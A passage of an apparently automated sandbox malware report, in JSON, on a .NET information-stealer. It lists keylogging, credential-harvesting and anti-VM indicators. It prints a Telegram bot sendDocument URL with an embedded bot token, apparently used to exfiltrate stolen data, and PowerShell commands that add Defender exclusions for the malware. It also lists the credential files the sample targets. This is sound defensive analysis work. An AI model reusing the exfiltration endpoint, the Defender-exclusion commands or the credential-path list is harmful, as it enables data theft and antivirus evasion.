Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS POST request to https://api.telegram.org/bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"149.154.167.220\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLEEFCCF6726CA432C5B29E3485EAE0]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00007972.00000000.103107.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE58FE979B83D86D164643DE081DD0]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00007972.00000000.103107.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00007972.00000000.103107.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLEEFCCF6726CA432C5B29E3485EAE0]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00007972.00000000.103107.03530000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$49","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00003052)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00006808)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"GetComputerNameW\" (UID: 00000000-00007972)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"GetUserNameW\" (UID: 00000000-00000336)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00003052)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00006808)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"GetUserNameW\" (UID: 00000000-00007972)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user names for specified SIDs","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"b09ded0\"\n \"Count\": \"1\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":1,"id":"api-255","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to perform sql operations (Dotnet)","description":"$4d","origin":"Static Parser","mitre_attack_id":"T1213","relevance":1,"id":"static-175","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"RegGetValueW\" (Indicator: \"RegGetValue\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"RegEnumKeyExW\" (Indicator: \"RegEnumKey\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"RegQueryValueEx\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n Found reference to API \"RegOpenKeyEx\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n file/memory contains long string with (Indicator: \"RegRead\"; Source: \"00000000-00007972.00000000.103107.05190000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"GetModuleHandle\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"GetTempFileName\" (Indicator: \"GetTempFileName\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n Found reference to API \"GetTempPath\" (Indicator: \"GetTempPath\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n Found reference to API \"Win32API|System Information Functions|GetSystemDirectory|\\drivers\\etc\\lmhosts\" (Indicator: \"GetSystemDirectory\"; Source: \"00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp\")\n Found reference to API \"Win32API|System Information Functions|GetSystemDirectory\" (Indicator: \"GetSystemDirectory\"; Source: \"00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n Found reference to API \"MapVirtualKey\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n Found reference to API \"95802570720,2192,104,,GetKeyState,user32.dll,\"00:27:26.234\",RX=0,PX=0\" (Indicator: \"GetKeyState\"; Source: \"00000000-00007972.00000002.106946.08E50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n Found reference to API \"GetModuleFileNameEx\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"Win32API|GetSystemMetrics|SM_DEBUG\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to file managers","description":"\"MySQL Workbench%ProgramW6432%Private Internet Access\\data\\Private Internet Access\\data\\account.json.*\"username\":\"(.*?)\".*\"password\":\"(.*?)\"Private Internet AccessSoftware\\DownloadManager\\Passwords\\EncPasswordInternet Download Managerhdfzpysvpzimorhkquick.datSites.dat\\FlashFXP\\yA36zA48dEhfrvghGRg57h5UlDv3TypeValueIterationCount\\Psi\\profiles\\Psi+\\profiles\\accounts.xmlUSERPROFILE\\OpenVPN\\config\\remote PWD=+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz5A71abc\" (Indicator: \"quick.dat\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":3,"id":"string-136","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References Firefox browser credentials files","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1555.003","relevance":1,"id":"string-405","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$50","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00000336-00000C2B-592555905\")\n Found string \"OpenProcessTokenW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00000336-00000C2B-594387641\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00003052-00000C2B-607711421\")\n Found string \"OpenProcessW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00003052-00000C2B-607711473\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00000336)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003052)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006808)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$51","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFile\" (Indicator: \"DeleteFile\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n Found reference to API \"SetWindowsHookEx\" (Indicator: \"SetWindowsHook\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00007972.00000000.103107.05190000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00007972-00000C2B-626404499","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$52","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"System Security","name":"Uses powershell with a add-mppreference commandline param","description":"Process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath \"C:\\\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\"\" (UID: 00000000-00003052)\n Process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath \"%APPDATA%\\\\JSCrIQqACnlzp.exe\"\" (UID: 00000000-00006808)","origin":"Monitored Target","mitre_attack_id":"T1562","relevance":3,"id":"target-236","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"smss.exe,csrss.exe,wininit.exe,winlogon.exe,services.exe\" (Source: \"00000000-00007972.00000000.103107.05190000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"JSCrIQqACnlzp.exe\" - Location: [%APPDATA%\\JSCrIQqACnlzp.exe]- [targetUID: 00000000-00000336]\n Dropped file: \"powershell.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log]- [targetUID: 00000000-00006808]\n Dropped file: \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe.log]- [targetUID: 00000000-00000336]\n Dropped file: \"cookies.sqlite\" - Location: [%APPDATA%\\shvkciql.ott\\Firefox\\Profiles\\ywzu7870.default\\cookies.sqlite]- [targetUID: 00000000-00007972]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00006808]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"JSCrIQqACnlzp.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"RuntimeBroker.exe\" (Indicator: \"runtimebroker.exe\")\n \"backgroundTaskHost.exe\" (Indicator: \"backgroundtaskhost.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 336)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 3052)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6808)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7972)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397\" has section name .text with entropy \"7.240110598973049\"\n \"JSCrIQqACnlzp.exe\" has section name .text with entropy \"7.240110598973049\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques using MAC address detection","description":"\"00:50:56:91:9F:93\" (Indicator: \"00:50:56\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":10,"id":"string-2","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$53","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"JSCrIQqACnlzp.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections\"- Location: [%APPDATA%\\JSCrIQqACnlzp.exe]- [targetUID: 